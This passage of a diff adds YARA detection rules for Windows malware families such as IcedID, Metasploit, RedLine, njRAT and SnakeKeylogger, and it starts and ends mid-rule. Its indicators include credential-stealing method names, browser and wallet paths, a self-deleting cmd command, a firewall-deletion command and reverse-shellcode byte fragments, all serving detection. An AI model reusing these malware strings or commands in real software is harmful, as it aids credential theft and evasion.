+ reference = "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html"
+ reference_sample = "68dce9f214e7691db77a2f03af16a669a3cb655699f31a6c1f5aaede041468ff"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 24 2C B9 09 00 00 00 2A C2 2C 07 88 44 24 0F 0F B6 C3 6B C0 43 89 44 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_IcedID_237e9fb6 {
+ meta:
+ id = "237e9fb6-b5fa-4747-af1f-533c76a5a639"
+ fingerprint = "e2ea6d1477ce4132f123b6c00101a063f7bba7acf38be97ee8dca22cc90ed511"
+ creation_date = "2021-02-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "IcedID"
+ threat_name = "Windows.Trojan.IcedID"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference = "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html"
+ reference_sample = "b21f9afc6443548427bf83b5f93e7a54ac3af306d9d71b8348a6f146b2819457"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 60 8B 55 D4 3B D0 7E 45 83 F8 08 0F 4C 45 EC 3B D0 8D 3C 00 0F }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_IcedID_f1ce2f0a {
+ meta:
+ id = "f1ce2f0a-0d34-46a4-8e42-0906adf4dc1b"
+ fingerprint = "1940c4bf5d8011dc7edb8dde718286554ed65f9e96fe61bfa90f6182a4b8ca9e"
+ creation_date = "2021-02-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "IcedID"
+ threat_name = "Windows.Trojan.IcedID"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference = "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html"
+ reference_sample = "b21f9afc6443548427bf83b5f93e7a54ac3af306d9d71b8348a6f146b2819457"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 8B C8 8B C6 F7 E2 03 CA 8B 54 24 14 2B D0 8B 44 24 14 89 54 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_IcedID_08530e24 {
+ meta:
+ id = "08530e24-5b84-40a4-bc5c-ead74762faf8"
+ fingerprint = "f2b5768b87eec7c1c9730cc99364cc90e87fd9201bf374418ad008fd70d321af"
+ creation_date = "2021-03-21"
+ last_modified = "2021-07-16"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "IcedID"
+ threat_name = "Windows.Trojan.IcedID"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "31db92c7920e82e49a968220480e9f130dea9b386083b78a79985b554ecdc6e4"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "c:\\ProgramData\\" ascii fullword
+ $a2 = "loader_dll_64.dll" ascii fullword
+ $a3 = "aws.amazon.com" wide fullword
+ $a4 = "Cookie: __gads=" wide fullword
+ $b1 = "LookupAccountNameW" ascii fullword
+ $b2 = "GetUserNameA" ascii fullword
+ $b3 = "; _gat=" wide fullword
+ $b4 = "; _ga=" wide fullword
+ $b5 = "; _u=" wide fullword
+ $b6 = "; __io=" wide fullword
+ $b7 = "; _gid=" wide fullword
+ $b8 = "%s%u" wide fullword
+ $b9 = "i\\|9*" ascii fullword
+ $b10 = "WinHttpSetStatusCallback" ascii fullword
+condition:
+ all of ($a*) and 5 of ($b*)
+}
+
+rule Win_Trojan_Kronos_cdd2e2c5 {
+ meta:
+ id = "cdd2e2c5-17fc-4cec-aece-0b19c54faccf"
+ fingerprint = "0e124d42a6741a095b66928303731e7060788bc1035b98b729ca91e4f7b6bc44"
+ creation_date = "2021-02-07"
+ last_modified = "2021-07-16"
+ description = "Strings used by the Kronos banking trojan and variants."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Kronos"
+ threat_name = "Windows.Trojan.Kronos"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects"
+ reference_sample = "baa9cedbbe0f5689be8f8028a6537c39e9ea8b0815ad76cb98f365ca5a41653f"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "data_inject" ascii wide fullword
+ $a2 = "set_filter" ascii wide fullword
+ $a3 = "set_url" ascii wide fullword
+ $a4 = "%ws\\%ws.cfg" ascii wide fullword
+ $a5 = "D7T1H5F0F5A4C6S3" ascii wide fullword
+ $a6 = "[DELETE]" ascii wide fullword
+ $a7 = "Kronos" ascii wide fullword
+condition:
+ 4 of them
+}
+
+rule Windows_Trojan_Lokibot_1f885282 {
+ meta:
+ id = "1f885282-b60e-491e-ae1b-d26825e5aadb"
+ fingerprint = "a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b"
+ creation_date = "2021-06-22"
+ last_modified = "2021-06-22"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Lokibot"
+ threat_name = "Windows.Trojan.Lokibot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "MAC=%02X%02X%02XINSTALL=%08X%08Xk" fullword
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Lokibot_0f421617 {
+ meta:
+ id = "0f421617-df2b-4cb5-9d10-d984f6553012"
+ fingerprint = "9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda"
+ creation_date = "2021-07-20"
+ last_modified = "2021-07-20"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Lokibot"
+ threat_name = "Windows.Trojan.Lokibot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Metasploit_a6e956c9 {
+ meta:
+ id = "a6e956c9-799e-49f9-b5c5-ac68aaa2dc21"
+ fingerprint = "21855599bc51ec2f71d694d4e0f866f815efe54a42842dfe5f8857811530a686"
+ creation_date = "2021-03-23"
+ last_modified = "2021-03-23"
+ description = "Identifies the API address lookup function leverage by metasploit shellcode"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = { 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 }
+condition:
+ $a1
+}
+
+rule Windows_Trojan_Metasploit_38b8ceec {
+ meta:
+ id = "38b8ceec-601c-4117-b7a0-74720e26bf38"
+ fingerprint = "44b9022d87c409210b1d0807f5a4337d73f19559941660267d63cd2e4f2ff342"
+ creation_date = "2021-03-23"
+ last_modified = "2021-03-23"
+ description = "Identifies the API address lookup function used by metasploit. Also used by other tools (like beacon)."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 85
+ strings:
+ $a1 = { 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 }
+condition:
+ $a1
+}
+
+rule Windows_Trojan_Metasploit_7bc0f998 {
+ meta:
+ id = "7bc0f998-7014-4883-8a56-d5ee00c15aed"
+ fingerprint = "fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835"
+ creation_date = "2021-03-23"
+ last_modified = "2021-03-23"
+ description = "Identifies the API address lookup function leverage by metasploit shellcode"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 84
+ strings:
+ $a1 = { 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 }
+condition:
+ $a1
+}
+
+rule Windows_Trojan_Metasploit_f7f826b4 {
+ meta:
+ id = "f7f826b4-6456-4819-bc0c-993aeeb7e325"
+ fingerprint = "9b07dc54d5015d0f0d84064c5a989f94238609c8167cae7caca8665930a20f81"
+ creation_date = "2021-03-23"
+ last_modified = "2021-03-23"
+ description = "Identifies metasploit kernel->user shellcode. Likely used in ETERNALBLUE and BlueKeep exploits."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = { 48 92 31 C9 51 51 49 89 C9 4C 8D 05 0? 00 00 00 89 CA 48 83 EC 20 FF D0 48 83 C4 30 C3 }
+condition:
+ $a1
+}
+
+rule Windows_Trojan_Metasploit_24338919 {
+ meta:
+ id = "24338919-8efe-4cf2-a23a-a3f22095b42d"
+ fingerprint = "ac76190a84c4bdbb6927c5ad84a40e2145ca9e76369a25ac2ffd727eefef4804"
+ creation_date = "2021-03-23"
+ last_modified = "2021-03-23"
+ description = "Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon)."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 80
+ strings:
+ $a1 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 }
+condition:
+ $a1
+}
+
+rule Windows_Trojan_Metasploit_0f5a852d {
+ meta:
+ id = "0f5a852d-cacd-43d7-8754-204b09afba2f"
+ fingerprint = "97daac4249e85a73d4e6a4450248e59e0d286d5e7c230cf32a38608f8333f00d"
+ creation_date = "2021-04-07"
+ last_modified = "2021-04-07"
+ description = "Identifies 64 bit metasploit wininet reverse shellcode. May also be used by other malware families."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 80
+ strings:
+ $a = { 49 BE 77 69 6E 69 6E 65 74 00 41 56 48 89 E1 49 C7 C2 4C 77 26 07 FF D5 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Metasploit_c9773203 {
+ meta:
+ id = "c9773203-6d1e-4246-a1e0-314217e0207a"
+ fingerprint = "afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36"
+ creation_date = "2021-04-07"
+ last_modified = "2021-04-12"
+ description = "Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm"
+ scan_type = "File, Memory"
+ severity = 10
+ strings:
+ $a = { 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Metasploit_dd5ce989 {
+ meta:
+ id = "dd5ce989-3925-4e27-97c1-3b8927c557e9"
+ fingerprint = "4fc7c309dca197f4626d6dba8afcd576e520dbe2a2dd6f7d38d7ba33ee371d55"
+ creation_date = "2021-04-14"
+ last_modified = "2021-04-14"
+ description = "Identifies Meterpreter DLL used by Metasploit"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/"
+ reference_sample = "86cf98bf854b01a55e3f306597437900e11d429ac6b7781e090eeda3a5acb360"
+ scan_type = "File, Memory"
+ severity = 90
+ strings:
+ $a1 = "metsrv.x64.dll" fullword
+ $a2 = "metsrv.dll" fullword
+ $b1 = "ReflectiveLoader"
+condition:
+ 1 of ($a*) and 1 of ($b*)
+}
+
+rule Windows_Trojan_Metasploit_96233b6b {
+ meta:
+ id = "96233b6b-d95a-4e0e-8f83-f2282a342087"
+ fingerprint = "40032849674714bc9eb020971dd9f27a07b53b8ff953b793cb3aad136256fd70"
+ creation_date = "2021-06-10"
+ last_modified = "2021-06-10"
+ description = "Identifies another 64 bit API hashing function used by Metasploit."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "e7a2d966deea3a2df6ce1aeafa8c2caa753824215a8368e0a96b394fb46b753b"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 31 FF 0F B7 4A 26 31 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Metasploit_4a1c4da8 {
+ meta:
+ id = "4a1c4da8-837d-4ad1-a672-ddb8ba074936"
+ fingerprint = "7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987"
+ creation_date = "2021-06-10"
+ last_modified = "2021-06-10"
+ description = "Identifies Metasploit 64 bit reverse tcp shellcode."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Metasploit"
+ threat_name = "Windows.Trojan.Metasploit"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Nanocore_d8c4e3c5 {
+ meta:
+ id = "d8c4e3c5-8bcc-43d2-9104-fa3774282da5"
+ fingerprint = "e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4"
+ creation_date = "2021-06-13"
+ last_modified = "2021-06-13"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Nanocore"
+ threat_name = "Windows.Trojan.Nanocore"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "NanoCore.ClientPluginHost" ascii fullword
+ $a2 = "NanoCore.ClientPlugin" ascii fullword
+ $b1 = "get_BuilderSettings" ascii fullword
+ $b2 = "ClientLoaderForm.resources" ascii fullword
+ $b3 = "PluginCommand" ascii fullword
+ $b4 = "IClientAppHost" ascii fullword
+ $b5 = "GetBlockHash" ascii fullword
+ $b6 = "AddHostEntry" ascii fullword
+ $b7 = "LogClientException" ascii fullword
+ $b8 = "PipeExists" ascii fullword
+ $b9 = "IClientLoggingHost" ascii fullword
+condition:
+ 1 of ($a*) or 6 of ($b*)
+}
+
+rule Windows_Trojan_Netwire_6a7df287 {
+ meta:
+ id = "6a7df287-1656-4779-9a96-c0ab536ae86a"
+ fingerprint = "85051a0b94da4388eaead4c4f4b2d16d4a5eb50c3c938b3daf5c299c9c12f1e6"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Netwire"
+ threat_name = "Windows.Trojan.Netwire"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "e6f446dbefd4469b6c4d24988dd6c9ccd331c8b36bdbc4aaf2e5fc49de2c3254"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 0F B6 74 0C 10 89 CF 29 C7 F7 C6 DF 00 00 00 74 09 41 89 F3 88 5C }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Netwire_1b43df38 {
+ meta:
+ id = "1b43df38-886e-4f58-954a-a09f30f19907"
+ fingerprint = "4142ea14157939dc23b8d1f5d83182aef3a5877d2506722f7a2706b7cb475b76"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Netwire"
+ threat_name = "Windows.Trojan.Netwire"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "e6f446dbefd4469b6c4d24988dd6c9ccd331c8b36bdbc4aaf2e5fc49de2c3254"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "[%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword
+ $a2 = "\\Login Data"
+ $a3 = "SOFTWARE\\NetWire" fullword
+condition:
+ 2 of them
+}
+
+rule Windows_Trojan_Njrat_30f3c220 {
+ meta:
+ id = "30f3c220-b8dc-45a1-bcf0-027c2f76fa63"
+ fingerprint = "2abd38871cb87838b94f359caa2f888ac350a2a753db55f4c919a426af0fb5fd"
+ creation_date = "2021-06-13"
+ last_modified = "2021-07-22"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Njrat"
+ threat_name = "Windows.Trojan.Njrat"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "get_Registry" ascii fullword
+ $a2 = "netsh firewall delete allowedprogram \"" wide fullword
+ $a3 = "cmd.exe /c ping 0 -n 2 & del \"" wide fullword
+ $a4 = "SEE_MASK_NOZONECHECKS" wide fullword
+ $a5 = "Download ERROR" wide fullword
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Qbot_92c67a6d {
+ meta:
+ id = "92c67a6d-9290-4cd9-8123-7dace2cf333d"
+ fingerprint = "4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd"
+ creation_date = "2021-02-16"
+ last_modified = "2021-03-18"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Qbot"
+ threat_name = "Windows.Trojan.Qbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Qbot_d91c1384 {
+ meta:
+ id = "d91c1384-839f-4062-8a8d-5cda931029ae"
+ fingerprint = "1b47ede902b6abfd356236e91ed3e741cf1744c68b6bb566f0d346ea07fee49a"
+ creation_date = "2021-07-08"
+ last_modified = "2021-07-08"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Qbot"
+ threat_name = "Windows.Trojan.Qbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "18ac3870aaa9aaaf6f4a5c0118daa4b43ad93d71c38bf42cb600db3d786c6dda"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { FE 8A 14 06 88 50 FF 8A 54 BC 11 88 10 8A 54 BC 10 88 50 01 47 83 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Quasarrat_e52df647 {
+ meta:
+ id = "e52df647-c197-4790-b051-8951fba80c3b"
+ fingerprint = "c888f0856c6568b83ab60193f8144a61e758e6ff53f6ead8565282ae8b3a9815"
+ creation_date = "2021-06-27"
+ last_modified = "2021-07-16"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Quasarrat"
+ threat_name = "Windows.Trojan.Quasarrat"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "a58efd253a25cc764d63476931da2ddb305a0328253a810515f6735a6690de1d"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "GetKeyloggerLogsResponse" ascii fullword
+ $a2 = "DoDownloadAndExecute" ascii fullword
+ $a3 = "http://api.ipify.org/" wide fullword
+ $a4 = "Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}" wide fullword
+ $a5 = "\" /sc ONLOGON /tr \"" wide fullword
+condition:
+ 4 of them
+}
+
+rule Windows_Trojan_Raccoon_af6decc6 {
+ meta:
+ id = "af6decc6-f917-4a80-b96d-1e69b8f8ebe0"
+ fingerprint = "f9314a583040e4238aab7712ac16d7638a3b7c9194cbcf2ea9b4516c228c546b"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Raccoon"
+ threat_name = "Windows.Trojan.Raccoon"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "fe09bef10b21f085e9ca411e24e0602392ab5044b7268eaa95fb88790f1a124d"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "A:\\_Work\\rc-build-v1-exe\\json.hpp" wide fullword
+ $a2 = "\\stealler\\json.hpp" wide fullword
+condition:
+ any of them
+}
+
+rule Windows_Trojan_Raccoon_58091f64 {
+ meta:
+ id = "58091f64-2118-47f8-bcb2-407a3c62fa33"
+ fingerprint = "ea819b46ec08ba6b33aa19dcd6b5ad27d107a8e37f3f9eb9ff751fe8e1612f88"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Raccoon"
+ threat_name = "Windows.Trojan.Raccoon"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "fe09bef10b21f085e9ca411e24e0602392ab5044b7268eaa95fb88790f1a124d"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 74 FF FF FF 10 8D 4D AC 53 6A 01 8D 85 60 FF FF FF 0F 43 85 60 FF }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_RedLineStealer_17ee6a17 {
+ meta:
+ id = "17ee6a17-161e-454a-baf1-2734995c82cd"
+ fingerprint = "a1f75937e83f72f61e027a1045374d3bd17cd387b223a6909b9aed52d2bc2580"
+ creation_date = "2021-06-12"
+ last_modified = "2021-06-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "RedLineStealer"
+ threat_name = "Windows.Trojan.RedLineStealer"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "497bc53c1c75003fe4ae3199b0ff656c085f21dffa71d00d7a3a33abce1a3382"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "RedLine.Logic.SQLite" ascii fullword
+ $a2 = "RedLine.Reburn.Data.Browsers.Gecko" ascii fullword
+ $a3 = "RedLine.Client.Models.Gecko" ascii fullword
+ $b1 = "SELECT * FROM Win32_Process Where SessionId='{0}'" wide fullword
+ $b2 = "get_encryptedUsername" ascii fullword
+ $b3 = "https://icanhazip.com" wide fullword
+ $b4 = "GetPrivate3Key" ascii fullword
+ $b5 = "get_GrabTelegram" ascii fullword
+ $b6 = "k__BackingField" ascii fullword
+condition:
+ 1 of ($a*) or all of ($b*)
+}
+
+rule Windows_Trojan_RedLineStealer_f54632eb {
+ meta:
+ id = "f54632eb-2c66-4aff-802d-ad1c076e5a5e"
+ fingerprint = "6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0"
+ creation_date = "2021-06-12"
+ last_modified = "2021-06-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "RedLineStealer"
+ threat_name = "Windows.Trojan.RedLineStealer"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "ttp://checkip.amazonaws.com/logins.json" wide fullword
+ $a2 = "https://ipinfo.io/ip%appdata%\\" wide fullword
+ $a3 = "Software\\Valve\\SteamLogin Data" wide fullword
+ $a4 = "get_ScannedWallets" ascii fullword
+ $a5 = "get_ScanTelegram" ascii fullword
+ $a6 = "get_ScanGeckoBrowsersPaths" ascii fullword
+ $a7 = "k__BackingField" ascii fullword
+ $a8 = "g__HKLM_GetString|11_0" ascii fullword
+ $a9 = "k__BackingField" ascii fullword
+ $a10 = "DataManager.Data.Credentials" ascii fullword
+condition:
+ 6 of ($a*)
+}
+
+rule Windows_Trojan_Remcos_b296e965 {
+ meta:
+ id = "b296e965-a99e-4446-b969-ba233a2a8af4"
+ fingerprint = "a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d"
+ creation_date = "2021-06-10"
+ last_modified = "2021-06-10"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Remcos"
+ threat_name = "Windows.Trojan.Remcos"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Remcos restarted by watchdog!" ascii fullword
+ $a2 = "Mutex_RemWatchdog" ascii fullword
+ $a3 = "%02i:%02i:%02i:%03i"
+ $a4 = "* Remcos v" ascii fullword
+condition:
+ 2 of them
+}
+
+rule Windows_Trojan_SnakeKeylogger_af3faa65 {
+ meta:
+ id = "af3faa65-b19d-4267-ac02-1a3b50cdc700"
+ fingerprint = "15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d"
+ creation_date = "2021-04-06"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "SnakeKeylogger"
+ threat_name = "Windows.Trojan.SnakeKeylogger"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "get_encryptedPassword" ascii fullword
+ $a2 = "get_encryptedUsername" ascii fullword
+ $a3 = "get_timePasswordChanged" ascii fullword
+ $a4 = "get_passwordField" ascii fullword
+ $a5 = "set_encryptedPassword" ascii fullword
+ $a6 = "get_passwords" ascii fullword
+ $a7 = "get_logins" ascii fullword
+ $a8 = "GetOutlookPasswords" ascii fullword
+ $a9 = "StartKeylogger" ascii fullword
+ $a10 = "KeyLoggerEventArgs" ascii fullword
+ $a11 = "KeyLoggerEventArgsEventHandler" ascii fullword
+ $a12 = "GetDataPassword" ascii fullword
+ $a13 = "_encryptedPassword" ascii fullword
+ $b1 = "----------------S--------N--------A--------K--------E----------------"
+ $c1 = "SNAKE-KEYLOGGER" ascii fullword
+condition:
+ 8 of ($a*) or #b1 > 5 or #c1 > 5
+}
+
+rule Windows_Trojan_Trickbot_01365e46 {
+ meta:
+ id = "01365e46-c769-4c6e-913a-4d1e42948af2"
+ fingerprint = "98505c3418945c10bf4f50a183aa49bdbc7c1c306e98132ae3d0fc36e216f191"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "5c450d4be39caef1d9ec943f5dfeb6517047175fec166a52970c08cd1558e172"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 8B 43 28 4C 8B 53 18 4C 8B 5B 10 4C 8B 03 4C 8B 4B 08 89 44 24 38 48 89 4C 24 30 4C }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_06fd4ac4 {
+ meta:
+ id = "06fd4ac4-1155-4068-ae63-4d83db2bd942"
+ fingerprint = "ece49004ed1d27ef92b3b1ec040d06e90687d4ac5a89451e2ae487d92cb24ddd"
+ creation_date = "2021-03-28"
+ last_modified = "2021-03-30"
+ description = "Identifies Trickbot unpacker"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 5F 33 C0 68 ?? ?? 00 00 59 50 E2 FD 8B C7 57 8B EC 05 ?? ?? ?? 00 89 45 04 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_ce4305d1 {
+ meta:
+ id = "ce4305d1-8a6f-4797-afaf-57e88f3d38e6"
+ fingerprint = "ae606e758b02ccf2a9a313aebb10773961121f79a94c447e745289ee045cf4ee"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
